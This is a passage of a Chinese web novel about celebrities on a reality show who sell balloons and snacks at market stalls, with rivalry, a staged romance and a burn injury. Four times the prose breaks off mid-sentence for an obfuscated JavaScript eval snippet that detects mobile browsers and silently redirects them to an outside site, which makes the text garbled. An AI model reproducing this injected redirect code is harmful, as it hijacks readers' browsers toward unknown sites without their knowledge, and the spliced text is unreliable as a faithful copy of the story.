“小苔哥哥，真对不起，今天晚上给你惹麻烦了，这个钱我们还给你。”穆浅浅两只手的手指头紧张地相互摩挲着，“今天忙活一晚上还白赔了一百。” 楚余苔也猜到她俩心里会难受，看她这模样，轻笑道：“没事，怪我没和你们说清楚，这一百明天我们摆摊轻轻松松就赚回来了。” 穆浅浅听这话，又抽抽搭搭的往下掉小珍珠了，真不是她爱哭，但是这话听了谁受得了啊！ …… 何迟下了车就关了电子果蝇，他打了通电话“喂，你过来一趟，十分钟之内到，我在楼道里等你。” 他语气阴沉，接电话的人不敢耽搁，十分钟没到就匆匆跑来，气还没喘匀先问：“怎么了何小少爷？” 何迟睨了他一眼“小吕，你再找个人，这两天想办法给楚余苔搞点麻烦，我要整死他。” 小吕犹豫“上次孙姐就说了，不能这样子乱搞，不然要是东窗事发了，公司很难对外交代……” “上次上次！你他妈脑子被驴踢了还敢跟我提上次？我上次让你弄他，你找了个什么玩意？要不是孙姐过来解决了，我、我真……”他气急，抬脚踹了小吕一脚。 小吕捂着屁股也不敢喊疼，他问“那我这次……” 何迟捂着额头，“你这次找人记得找稳妥的，专业的，别再找大学生了。” 小吕呐呐应声“哎，找专业的。那这次是怎么整楚余苔？” 何迟思索片刻，“你这样子……”他低声几句，“记得找好水军，到时候直接带节奏，说他没有职业道德，哼最近看他操敬业人设操得这么用力，我到要看看这样子你还能不能装得起来。” …… 周末照例是出去摆摊，依旧在公园，这周没有宠物集会，人流量却也不少，今天淀粉肠摊位也摆出来了，在公园门口稍偏僻的地方，与其他两个摊位直线距离不远，隔了道围墙，只是要走过去还要走一会儿。 这回的摊位是楚余苔找的，早上提前过来，询问了周边几个摊位确定这地方是空的，这才把摊子落了在这里。 许云岚和穆浅浅显然是心有余悸，穆浅浅拉着纪渝讲了一通楚余苔是如何及时赶到救人于危难之中的，两个人凑在一起嘀嘀咕咕，时不时发出惊叹声。 楚余苔也想不到两句话的事，穆浅浅能叽里呱啦和纪渝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392199|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲这么久，他喊了声穆浅浅，让他同许云岚一起去卖淀粉肠，纪渝喊道“小苔哥哥，那我呢！” 楚余苔自然是想和纪渝待在一起的，他还没开口，柏淞站在他身后道：“我和你一起卖气球。” 这话一出，纪渝先急了“柏哥！我想和小苔哥哥在一起卖气球！”楚余苔这周都没去游乐场，纪渝同他见面时间直线下降，他攒了好多八卦想同小苔哥哥讲。 柏淞自然是不让的，楚余苔可比何迟可爱多了，让他和何迟待在一起那不就是上赶着给他机会炒cp吗，他才不干，至于纪渝……反正这小子没成年，还没到年纪，不怕被炒。 没错，很合理，就是这样子。 柏淞目光停顿在楚余苔泛红的耳尖，及耳后皙白的嫩肉上，看起来很好捏的样子。他指尖摩挲两下，又想到了上次给楚余苔上药的模样，浑身上下都很好捏很好搓揉的模样…… “你有没有啊听我说话啊！！！我说我要和小苔哥哥一起！反正你也不喜欢、唔！” 柏淞淡定捂着纪渝的嘴，“小孩子净乱说话，我是你哥，你听我的。” “你，你你你！柏淞你个大坏蛋！就欺负我年纪小！”纪渝大呼小叫，整个人气得跳脚，柏淞一根手指头戳着纪渝额头，防止这小跳蚤动静的小孩蹦到自己身上。 原来他叫柏淞。楚余苔心中忍不住默念了两遍。 那边吵闹动静也终于停了下来，纪渝气鼓鼓的跟着何迟去卖diy手串，柏淞也悠哉悠哉跟着楚余苔身后做他的推销员。 “你手怎么样了，今天做气球会不会疼？”柏淞问道。 “没事，动作稍微慢一点而已。” “今天早上没上药？”柏淞又问，他没闻到楚余苔手上有药味。 他凑近了些，想拉着楚余苔的手检查一下，没想到楚余苔后退了两步，躲避开了。 “要做气球，我怕客人会嫌弃有味道不买，所以就没涂。”楚余苔淡淡回复道。 19. 第 19 章 总归是手上有上伤，楚余苔今天动作慢了些许，来买气球的人也多，一时间甚至排起了长队。 柏淞没事做，盯着楚余苔因为用力而微微发红的指尖。 原先他的工作是卖楚余苔做得快的时候，多出来的货，现在楚余苔做得慢，他也就没有存货来卖，这时候除了帮楚余苔安抚一下客人，也没其他什么活干了。 楚余苔手上扭着蝴蝶，脑子里却想着方才柏淞执意要和自己一起的模样。 原先他为了避免尴尬，就是想和纪渝一起，或者退而求其次，何迟也能勉强接受，却没想到柏淞要和自己一组。他本就存了要远离对方的心思，这时候默不作声地低头扭着气球。 他这时在做的是卖得最多的蝴蝶手杖，此时却难得生疏了下，一连用掉了三根气球都没捏出满意的蝴蝶来，他脑中混乱异常，时不时地闪过方才柏淞同纪渝争抢的模样，略走神，手上的气球再一次泄了气，吱叫了声软塌了下去。 “是不是手疼？不然休息一会。”柏淞开口道。 楚余苔重新拿了根气球，总算顺利完成了。“没事，做手工总有失误的。”，他回避了柏淞的视线，将气球递给了顾客。 “不然今天我来做气球吧。”柏淞道。 楚余苔终于抬头，同他对视一眼，视线在柏淞手上扫过，反复看了两眼，他抿了抿唇。 楚余苔一句话都没说，两个人却懂了这是什么意思。 “我一直在看你做，一些简单的差不多都会了，只是模样可能会有些……”他思索片刻，总算摸到了个词来形容，他道：“小众。” 楚余苔没忍住笑了声。 二人之间气氛总算没有刚才那么冰冷了，柏淞脸上也带了几分笑意，两个人对视间，楚余苔收了几分笑意，他头又低了下去，闷声道：“不用，做得丑卖不出去还是浪费。” “……”这是哪得罪他了？柏淞不得其解。 …… 几个人在来公园的路上就定好了，中午还去上次那家小餐馆吃饭。时间差不多了，二人就简单收拾了下往那边走。 上午时柏淞几次开口缓和气氛，楚余苔都淡淡带过，两个人之间不尴不尬的。弹幕上多是骂楚余苔不识好歹的，也有说楚余苔故态复萌，果然有些人装模作样也装不了多久，这些言论此起彼伏占据了整片屏幕。 两个人各怀心思到了店门口，门口传出阵阵调笑声，正于是纪渝他们，老板娘还记得这对“早恋”的小情侣，正一个劲地打趣着。 纪渝也大方，笑眯眯喊了声姐姐，他道：“姐姐你还记得我们呢？” “哎呀，你们这一群的俊男美女，我想忘记都难呀。还是上周那样子，你们两对情侣和他们一起拼一桌？” 楚余苔犹豫片刻，还在思索要不要停止假冒情侣这件事时，手已经被牵住了。 楚余苔缩了下，反而被牵得更紧。 “你……”楚余苔有些不自在。 “打折。”柏淞自然而然的牵着人往里面走。 “噢。”楚余苔了然，点了点头，打折确实重要。 坐还是坐的上次的桌子，圆桌。许云岚和穆浅浅照例坐一起，楚余苔也跟在她们后面，纪渝反应快，扯开柏淞牵着楚余苔的手，挤到他二人中间去，依着楚余苔的手臂落座，总算得偿所愿和楚余苔粘在了一块儿。 柏淞啧了声，给了纪渝一个脑瓜崩，纪渝捂着后脑勺哼哼唧唧就往楚余苔身上蹭，柏淞见楚余苔这时候亲亲热热地摸着纪渝的脑袋，温温柔柔的讲话，忍不住磨了磨后槽牙。 几个人点完菜，坐着闲聊等上菜，这两日天气逐渐热了起来，店里的热空调却还是开得足，几人都脱了外套 ，楚余苔今天里面穿的是浅蓝色的卫衣，外头老旧的外套一脱，里头嫩色的布料及卫衣版型，衬得人年纪小，纪渝同他贴得近，两个人真仿佛亲兄弟一般。 柏淞忍不住看了好几眼，又觉得纪渝粘人得很，拉着楚余苔一个劲的讲着悄悄话，两个人都弯着眼睛笑，自己上午讲这么多句楚余苔也就笑了一次，这小孩能讲出什么有意思的东西，两个人笑这么开心。 纪渝注意到柏淞的视线，趁着楚余苔没注意，转过身朝着柏淞做了个鬼脸。 于是脑门上又挨了个脑瓜崩，硬币大一个红印挂在额头上。 纪渝还没开始演呢，楚余苔已经心疼地揉了揉小孩的头，看了眼柏淞，一副“做什么要打小孩”的模样，给柏淞看得又是一顿气。 等菜上了，几个人都饿了一上午，这时也就不聊天了。楚余苔专心吃着饭，余光便看见坐在柏淞右侧的何迟，他整个人往柏淞那边靠去，两个人挨得极近，楚余苔动作一顿，眼睛乱飞了会儿，还是忍不住又看了回来。 他眼睛乱晃的这片刻功夫，两个人已经拉开了距离，柏淞面上平静，捏着筷子的手却泛着青白。 何迟夹了筷肉，他将筷子伸过去，人也贴得更近了些，道“柏哥，这个好吃，你尝尝。” 柏淞用手护了下碗口，语气里带着些许的不耐烦，他道“不用了。”，他人往左侧又挪了下，连带着纪渝也往左侧挪动，一时间圆桌一边臃肿地挤满了人，另一侧却空荡荡，只余下原先何迟用的一个水杯还摆在那儿。 “何迟哥，你屁股好大哇，要占这么大块地。”纪渝略带天真地说道。 何迟干笑了下，他坐正了，手臂却还要“不经意”地搭一下柏淞的手臂，纪渝咬着筷子头兴致勃勃地看着。 柏淞三两口快速吃完了碗里的饭，放下碗起身，他道：“我给你腾位置，这下够你坐的了。” 何迟这下连干笑都有些挂不住了，他对炒cp这事已经看淡了许多，原先是准备节目结束就走人。然而这节目节奏慢，最快也还有两个月才能结束，再加上导演要求录制的时候不去发微博，那岂不是就相当于两个月没曝光了，他得想办法搞点看点出来。 他不会做那些低贱的工作，也不屑于赚钱，思来想去还是搞些暧昧比较容易，这才又搞了这一出。 何迟这时也站起身，他道：“柏哥好像同我生气了，我去看看他。” …… 柏淞起身去的厕所，他皱着眉洗了个手，仔仔细细里里外外洗了许久，这才擦干了手。 何迟也是这时候到的，他进去看了柏淞一眼，抬手将自己的电子果蝇关了。 柏淞不耐烦地掀起眼皮，见何迟执着地站着等着自己的动作，这才也关了摄像头。 ”柏哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392200|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大家都同行，没必要这样子吧，你和我随便碰个手搭个肩，再炒作一下，热度不就有了，也不用这么忌讳，工作嘛。”何迟挑了下眉，“如何？” 柏淞将指节一点点擦干，“你不用喊我柏哥，我和你关系不需要这样子称呼。” 他将视线转到何迟脸上，冷漠的眼神带着让人无法忽视的压迫感，“你们公司之前找我，我已经拒绝了。你之前小动作我忍下来已经算是给你面子了，别给脸不要脸。” 何迟到底也是见过世面的人，自然不会怵，他笑道：“我不能喊？那楚余苔喊你柏哥你怎么没拒绝？我和你好歹还合作过，你和他这是第一次合作吧，他喊你倒是接受良好。” 他盯着柏淞的脸，仔细辨认着对方脸上的表情，却没得到自己想要的反应。他又道“你在他和我之间更讨厌我？炒作麦麸这种事情他做的可比我熟多了，更别提其他的。你真觉得他是清清白白靠自己拿到这么多奖项的？公司哪个他没睡过……” 他声音一顿，对上柏淞极具冰冷的目光，整个人顿时哑了般，喉间发不出声音。 “他什么样我心里自有定夺，轮不到你在这里胡编乱造。”柏淞向前了几步，两个人之间距离拉近，何迟心虚，见此忍不住往后退，嘭地声撞上了身后的垃圾桶，巨大的声响回荡在空旷的室内，何迟煞白着脸，惊恐地看着凑近的柏淞。 柏淞睨了他一眼，将手里的纸巾丢进了垃圾桶里，“怎么，怕我打你？”他轻蔑道。 何迟惊魂未定，扶着墙站稳，又走了两步拉开二人距离，他惊疑道“你、你不会真喜欢上楚余苔了吧。他那种人怎么配得上、” “何迟，你们星火什么样大家心里都清楚，你能保证你自己清清白白吗？你经得起我查吗？”柏淞警告道。“更何况，你和他只是一个公司的同事，他喜欢谁和谁在一起和你有什么关系？他的私生活轮不到你置喙。” 何迟自然保证不了这些，他嗫嚅两下，他没想到柏淞和楚余苔之间还有这层关系，楚余苔他敢惹，柏淞却不敢真得罪了。 “柏老师，我们公司是支持艺人谈恋爱的，你如果真喜欢，我让我爸联系人，今天晚上……” 柏淞脸又沉了下来，他低骂“滚蛋，我只是看不惯你这种诬陷人的手段，没你们想的那么龌龊。” 何迟也是一僵，这种拿小明星讨好人的手段做惯了，他也就顺嘴说出来了，这时才发觉不对，柏淞看不看得上是一回事，楚余苔也不是那种任人揉捏的。 “我不喜欢楚余苔，下次别来恶心我。”柏淞道。 何迟失魂落魄地走出卫生间，他脸色因惊恐而泛着白，在门口却遇上了同样面色难看的楚余苔。 何迟轻“呵”了一声，“你听到了？” 楚余苔没回答。 何迟捋了捋稍显凌乱的发丝，他不知道楚余苔是什么时候来的，又听到了多少，斜撇了眼状似无意说道“他说他不喜欢你，嫌你恶心。” 楚余苔抿了抿嘴，他脸色又难看的几分，“我进去洗个手。”对其他的避而不谈。 真有意思，何迟心情好了许多。 “柏影帝，话是你自己说的，和我可没关系。”他呢喃道，语气里带着不可忽视的愉悦。 20. 第 20 章 柏淞对着镜子，注视着镜子中自己面色难以忽视的困顿，他想不通方才的愤怒是因何而起，也想不通为什么要帮楚余苔说话，他们两个同公司的闹矛盾，我又上赶着凑什么热闹？ 但是话已经放出去了，柏淞理了理衣角，转身要出去，正看见站在门口的楚余苔。 二人对视，柏淞脸色僵了一瞬，他顿了下，开口“你遇上何迟了？”，不知道楚余苔来了多久，他回忆着方才和何迟两个人的谈话，心里难得忐忑起来。 楚余苔“嗯？”一声，他过来洗手，面色如常“转角地方正好遇上了，怎么？” 柏淞放下心，那应该是没听到的。他等着楚余苔洗完手，两个人一同回了位置。 甫一回去，纪渝又过来挽楚余苔的手，几个人往外走。 楚余苔道“小鱼等会儿和我一起去卖气球吧，上午不是很想和我待一起吗。” 纪渝连连点头“那柏哥……”，他同柏淞对视，柏淞威胁眯眼，纪渝心虚转移视线。 “你们两个轮流嘛，小鱼卖气球也很会推销的，之前游乐场帮我卖了很多气球的呀。” 他侧头看向柏淞，“柏淞……” 柏淞皱眉。 楚余苔改口“柏淞老师应该也不会不乐意吧。” 纪渝视线在二人间绕了好几圈，偷偷松开了挽着楚余苔的手。 楚余苔没注意到，他还等着柏淞的回答。方才听到的话，说不介意是假的，他不知道该用什么态度去面对柏淞，下午也不想同对方待在一起，只能出此下策。 他看向柏淞，又问了次“柏淞老师？” 柏淞哑然，他觉得他现在不能不乐意。 柏淞说好，他面上淡然，心里又开始复盘方才卫生间的场景。楚余苔刚才是不是听到了？不对、楚余苔从今天上午对他的态度就有些奇怪。他冥思苦想，不得其解。 其余几人也都不做声，何迟将二人神情收入眼底，忍不住笑了声，在此刻沉寂的气氛下突兀异常，几人视线转过来，何迟“我想到高兴的事。” 几人分别到了各自摊位上，这个点暂时没客人，纪渝把玩着上午楚余苔做的小狗气球，他问道“哥，你生我柏哥气了？” 楚余苔手上做着另一只小狗，他动作一顿“没有。” “那你怎么突然不喊他哥了。” “……”楚余苔抿了抿嘴，神色不太自然。 纪渝嘿嘿一笑“小苔哥我跟你好，我和你站一队的！” “又不是小朋友闹别扭，怎么还站队”他失笑，解释道：“我只是觉得之前那么叫有点唐突了。” “怎么会唐突，柏淞他又没说不行，我喊你小苔哥哥你也会觉得唐突吗。”他可怜兮兮地凑过来卖萌。 楚余苔捏了捏他的脸，不知道怎么和纪渝讲这里面的区别。 两个人闹了会儿，隔着栏杆许云岚喊了纪渝一声“小鱼小鱼，你过来帮一下浅浅，我有事得走一会。”她们那边这时候来买肠的人多，穆浅浅一个人忙不过来。 纪渝应声，他看了眼楚余苔，“哥，我俩去他们那边卖气球呗，反正那边也人多，这样子我两边都能搭把手。” 这边东西少，带过去方便，楚余苔也就同意了，两个人绕着围栏走了一大圈才从公园内绕到了外面，纪渝接过许云岚手上的活继续干，两个十七岁的小孩做事有模有样的，很是利索。 远处，柏淞还在纠结楚余苔换了的称呼，他坐在摊位前走神，何迟神清气爽，招待客人的态度都和善了许多，引发了许多小姑娘连连的尖叫声。 柏淞皱眉，他撇了眼何迟，眉头皱得更紧了些，看着心里就烦。他视线转向远处，搜寻了一会气球摊，没找到，忙站起向前走了两步，仔细看了看才发现楚余苔和纪渝挪去了公园外。 那边许是两个摊子合一起，这时候来买东西的人比意料中多了许多，一时有些嘈杂混乱。 柏淞见状，道“他们那边好像挺忙的，这边人少你一个人应该也行，我去那边帮帮忙。”没等何迟回话，柏淞已经扭头走了。 楚余苔也没想到会有这么多人，不光气球摊这边排队，他做得手都要扭出火星子了，穆浅浅那边更是夸张，黑压压簇拥着一群人，本就小的摊位这下更显得狭窄。 后头的人等得久了，探着头往前凑，一时间更是混乱。 楚余苔见状，放下手里的东西，先将机子关了，提醒穆浅浅和纪渝二人注意安全，这才提醒客人莫要拥挤。 人群哄吵，他的声音被淹没在内，少数人意识到危险要走，却被夹在人群中动弹不得，最前头的人被后面一推搡，人向前一扑，直接推倒了桌子。 桌子倾倒，桌上机器顺势滑倒，楚余苔脑子只闪过机器价格，手已经先一步伸了出去，未等他接到，腰上一股顿力传来，熟悉的薄荷味盈入鼻尖，另一只手拦着他的手先一步接住了机器。 “嘶……”柏淞接住机器的手被热油溅到，下意识一松，哐当一声，终究还是摔在了地上。这声响惊到了人群，本就有准备的安保也随即上来进行维护秩序和疏散人群。 “没事吧！”楚余苔转身，柏淞还揽着他的腰，这一转身两个人就面对面抱着了，这时二人也未想到这动作如何的不对劲，楚余苔看向柏淞的手，又去看对方的目光，满是关切的。 柏淞也去看，他低头看向机器，扫了两眼，“没事，应该没摔坏，还能用。” 楚余苔气急“谁问机器了，机器有人重要吗！你手怎么样？被溅到了是吗，好像红了。”他握住柏淞手腕，给他吹了吹伤口，仿佛羽毛般轻蹭过，柏淞忍不住缩了手。 “你也知道机器没有人重要？”柏淞也气笑了。 他来时就看见这边推推搡搡的，匆匆跑了两步，正看见楚余苔伸手要去拦机器这幕，他或许也是头脑发昏，想着机器要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15392201|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摔坏了，楚余苔估计要难受好几天，竟然也拿手去接。 “我……我着急。”自觉理亏，楚余苔声音微不可闻。 那边人群有序安静下来，纪渝过来，柏淞松开了拦着楚余苔腰的手，两个人这才拉开了距离。纪渝凑近看了眼柏淞的伤口，担忧道“去医院？” “不用，机器不是很烫，我去冲个凉水，小鱼你去隔壁药店买下烫伤膏。”柏淞道。 他挽起袖子往公共水池走去，楚余苔也跟着过去，平心而论，柏淞实在是一个很好的人，哪怕不喜欢自己，也能这么护着。 他这时愧疚不已，又忍不住想还不如自己被烫到，疼也就疼一会儿，现在欠下这么大人情要怎么还。 水流冲刷着柏淞泛红的手背，他手上被油溅了一小片，指尖处比手背严重些，应当是抓机器的时候正好指尖碰到了加热区。两个人站立着，沉默地看着水流淌过柏淞手背。 冲了两分钟，柏淞收回手，甩了甩手上水珠“走吧，纪渝应该也快回来了。” 楚余苔抓着他的手，将人又拉回了水池前。他打开水龙头，“不行，还不够，再冲一会。” 两个人又这样子呆呆的站着，楚余苔背对着柏淞，低着头看着伤口，柏淞只能看见他的后脑勺，和雪白的一段后脖颈。 “对不起。”楚余苔低声道。 “你道什么歉，这也不是你造成的。”柏淞道。 “我没想到两个摊子摆一起会有这么多人，如果我再细心点……我也不该去接机器，你说得对，本来也没多少钱，现在买烫伤膏的钱也花了，还要连累你受伤……” “在心疼烫伤膏的钱？”柏淞忍不住逗他。 “我不是这个意思。”楚余苔声音愈发小了起来。 兀的，一滴水珠坠在柏淞手臂上。 柏淞初时没反应过来，直到楚余苔指尖匆匆将水珠抹去，他才轻声问道“哭了？” “没有。”楚余苔生硬道。 “真不怪你，我搂你那一下也是我自己愿意的，受伤也是我自己伸的手，桌子倒了也不是你推的，别把责任都揽自己身上。”柏淞微俯身，两个人又贴得极近。他用另一只手揉了揉楚余苔的脑袋。 如果柏淞讨厌一个人都这么温柔，那被他讨厌也不是什么坏事，楚余苔冷不丁这么想到。 柏淞知道他情绪不好，楚余苔没回答他也不在意，又继续道“就算我们要攒钱，也不用这么着急，机器摔坏了还能买新的，今天没赚到钱还有明天。时间很长，我们可以慢慢来。” 他顿了顿，又道“我们赚到的钱都是你出的主意，你比你想象的要优秀很多很多，不要给自己太大的压力。” “你对所有人都这么好吗。”楚余苔还是忍不住问了。 “关心自己的朋友不是理所应当的吗。”柏淞道。 “也是。”撒谎，既然讨厌我，为什么还演得这么像。 21. 第 21 章 纪渝急匆匆的回来，他手上拿着新买的烫伤膏，瞧着这气氛，脚步一顿，迟疑地看了眼柏淞。 柏淞同他对视，视线垂下意有所指地看了眼楚余苔，复又看向纪渝。 纪渝明了，手上药膏递了出去，“小苔哥哥，你给柏哥涂吧，我笨手笨脚的做不好。” 楚余苔松开柏淞的手，他后退一步，道“你来吧，我手也笨。” 纪渝心道你的手笨，那在场的就没有灵巧的了。他不知道这俩人到底咋了，手上药膏犹豫着到底给谁时，柏淞接过，道：“我自己涂。” 柏淞伤的手背和指尖，涂倒是好涂，只是这新药膏还没拆封过，盖子拧得紧，他单手扭了半天没使上劲儿，手指头都扭红了也没把药膏拆开来。 纪渝这时候看天看地，看树上根本不存在的蚂蚁，仿佛很忙的样子，眼睛转了一大圈，就是不看自己柏哥。 楚余苔沉默片刻，将药膏抢了过来，三两下打开了。他本要叫柏淞自己涂，看着自己手心残余的伤疤，想到前几日柏淞细心给自己上药的模样，他暗自叹了口气，挤出药膏到指尖上，“我来吧。” 或许是楚余苔在事情发生前先关了电源，机器倾倒时温度并不算很高，伤口也只是泛红，冲了冷水后已经没多大痛感。 楚余苔指尖沾着烫伤膏一点点往上涂，浅黄色的膏体覆盖在伤口上，伤口处又有些发烫，柏淞皱眉，倒有些庆幸自己来得及时，不然要是烫在楚余苔手上，这伤口叠伤口的不知道哪一天才能好。 他注视着楚余苔嫩白的指尖在自己手背上滑动，喉结微动，转移开的视线。 抬眼，正瞧见纪渝蹑手蹑脚地离开。 纪渝见柏淞抬头，挤了个眼神过去，他指指后面，做了个离开的手势。 柏淞微不可查地轻抬下巴，示意纪渝先走，他头一次觉得纪渝也算有几分聪明劲。 “柏淞老师，好像还是很红，要不然还是去医院吧。”楚余苔仔细打量了下，到底还是有些不放心。 “没事，我自己心里有数。”柏淞将袖子放下来，他理着袖角，道“怎么不喊柏哥了。” “我看他们都不这么喊。”楚余苔拿出早就想好的理由。 “纪渝这么喊的。既然他喊你哥哥，那你喊我哥哥不是正好。”柏淞还在理袖子，这一小块布料他反反复复地整理。 楚余苔被他这个理论震住了，他卡壳半天，才开口“我以为你不喜欢我这样子喊。” 柏淞这袖子总算理好了，他声音不疾不徐，道：“听习惯了也还好。” 楚余苔点头，“好的柏淞老师。” 柏淞：“……。” “柏淞老师，你先回去吗？回去休息吧。”楚余苔仿佛没察觉对方的郁闷，关心了一句。 “伤手上，不影响看摊子。” 楚余苔应声，他看了眼四周，“纪渝呢？” “先走了吧，小孩子到处乱跑的，我跟你去卖气球？”他晃了晃手，“正好跟着你卖气球不用动手。” 话说到这份上了，楚余苔自然是应了。 二人收拾东西走人，柏淞落后了半步，掏出手机给纪渝发短信“我和你换，你去何迟那边，晚上请你吃饭。” [小鱼]：yes sir！ …… 今天准备充分，带了照明的灯，几个人一连干到了晚上九点，直到几人实在累得不行了才收了工。 同上周一样，这周还是去的纪渝家，几个摊子收的钱都放在了桌上，零零散散的钱币铺满了桌子，光是数几个人就数了好一会。 “正好四千六百块，划给个人就是……”楚余苔低头按计算器，“七百六十六，比上周多了一点，但是没有想象中那么多，而且大部分还是手串上赚的。” “今天淀粉肠那边出问题了嘛，明天还是像上周那样上下午轮流休息，可以一次摆两个摊子，应该能比上周周日多。”纪渝见楚余苔皱眉，安慰道。 “其实赚的还挺多的，这样子算下来摆摊的钱和工资也差不多了。”穆浅浅道，她没想到这期节目能赚这么快，之前几期的节目，前两周因为没钱饿肚子的大有人在，这次他们不光不饿肚子，甚至还能存下来一点。 其余几人对这个结果都很满意，分了钱各自回了家。 柏淞答应了纪渝请他吃晚饭，他看了眼楚余苔，想同他说一声不和他一起回去了，没想到只看见楚余苔出门的背影。 柏淞沉默片刻，掏出手机问纪渝，“想吃什么？我点外卖。” “麦当当！”纪渝从收到短信开始就想好了吃什么，回答得无比迅速。 “……”柏淞心里还有事要纪渝帮忙，这时嫌贵也咬咬牙，将手机递了过去。 两个人选了餐，确认付款时，两个人看着六块钱的配送费停顿，对视，双双起身拿起了外套，戴上了帽子和口罩。 “哥，你导航呗，好像不远。”纪渝手机还是老年机，他打算明天联系节目组换成智能机。 “街口转角就是，走过去十来分钟。”柏淞拉上口罩，整个人遮得严严实实，他看了眼电子果蝇，“把摄像头关了吧。” 纪渝抬手关掉了摄像头，两个人下楼去拿餐。 “小鱼，问你个事。” “咋了？”纪渝得有好久没听柏淞这么亲亲热热的喊自己小鱼了，有猫腻。 “我，咳、我有个朋友，他最近被人追求，但是这几天不知道为什么，追求者突然对我朋友很冷淡，你觉得这是怎么回事？”柏淞将口罩又按得严实了点，拉了拉帽檐，企图遮掉自己发红的耳尖。 “这我懂，你朋友喜欢他。”纪渝打了个响指，肯定道。 “不可能，谁喜欢、不是，我问的不是这个，我是说那追求者……” “哥，”纪渝打断柏淞的话，“你想啊，你朋友要是不喜欢他，那对方冷淡不冷淡又有什么关系？对方冷淡了他反而应该开心啊，不是少了个麻烦吗。”他说得言之凿凿，柏淞也不禁愣了愣。 “那先不提这个喜欢还是不喜欢，就谈追求者为什么冷淡下来了，你觉得是什么原因？”柏淞又问。 “还能是什么原因，小苔哥哥现在不喜欢你了呗。”纪渝咂舌，这道理还要想这么久呢？ 柏淞：“。” “你看啊，今天小苔哥哥一直喊的你柏淞老师，而且你今天为了救他才受的伤，但是小苔哥哥居然让我给你涂药，自己回避掉了这个事情，按照他的性格不应该的呀，他不会这么冷漠，所以肯定是你哪里做错了，小苔哥哥现在不喜欢你了。” 纪渝条理清晰分析，他见柏淞没反应，又强调道：“听见没有，你惹他生气了。” 柏淞沉默片刻，“我说的是我朋友。” 纪渝白了他一眼，“噢，那你朋友老婆没了。” 柏淞：“……” 柏淞艰难开口， “那你觉得……我朋友哪里做错了呢。” 纪渝叹了口气，“哥，我才17，你问我是不是不太合适？自己的事情自己做。” 二人又走了段路，撞见个商店，纪渝停了脚步，“等等等等，我把身上零钱换一下。”他手上掏出一小沓的零钱，里头夹了个信封。 “那信封是？” “嗯？之前给小苔哥哥帮忙，他给我分的钱，我一直没看，正好一起换掉。”他拆开信封掏了掏，掏出张整百来，里头还附着一张字条。 纪渝掏出字条，“哥，你手机给我打个光，看不清这写的什么。” 光束照在字条上，纪渝借着光低头细看，柏淞也侧目，越过纪渝头顶看清了字条内容。 [纪渝同学，如果学费凑不够，记得来找我，我帮你一起分担。一定要去上学^_^] 字条上字迹行云流水般，极为俊逸洒脱。 纪渝没理解，他挥了挥字条，“这是什么意思？丰富人设？小苔哥哥这么敬业吗，想这么全面。” 就算这是沉浸式打工综艺，楚余苔也太沉浸了一点。 柏淞脑子闪过上次他在浴室给楚余苔消毒，两个人在没有摄像头的环境下，楚余苔也照旧维持着自己的人设，以及连续几次粉丝来要签名，他的反应都极为反常…… “哥，小苔哥哥是想我展示给镜头看吗？我是不是应该留下来明天对着镜头再开一次信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15392202|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封？”纪渝摸不准楚余苔这是要做什么。 “不用，你把字条给我。”柏淞想不通是哪里不对劲，原先只是觉得楚余苔想炒作什么敬业人设，但这字条却处处透露着怪异。 这纸条对人设的维持只起到丁点儿作用，如果想炒这种人设，直接对着镜头演岂不是更有效果。 纪渝家境好在娱乐圈也是众所周知的，当初纪渝出道日，他爸妈微博转发抽奖就抽了两百万，声势浩大到路人都知道纪渝是启岁产业的少东家，哪怕楚余苔再不问世事，也应当有所耳闻。 更何况，当时纪渝那几句凑学费的话明显是玩笑，一个能上《重启》节目的爱豆，光这节目拿的钱就够多了，又怎么会没钱交学费？ 他收下纸条，对纪渝道：“你去拿餐吧，前面左转就到了，我在这里等你。” 纪渝走后，柏淞翻开与楚余苔的聊天框，犹豫许久才发了消息出去。 [柏]：看见了你写给纪渝的纸条 [柏]：[图片] [柏]：你想帮他付学费？你自己不是生活也很拮据吗。 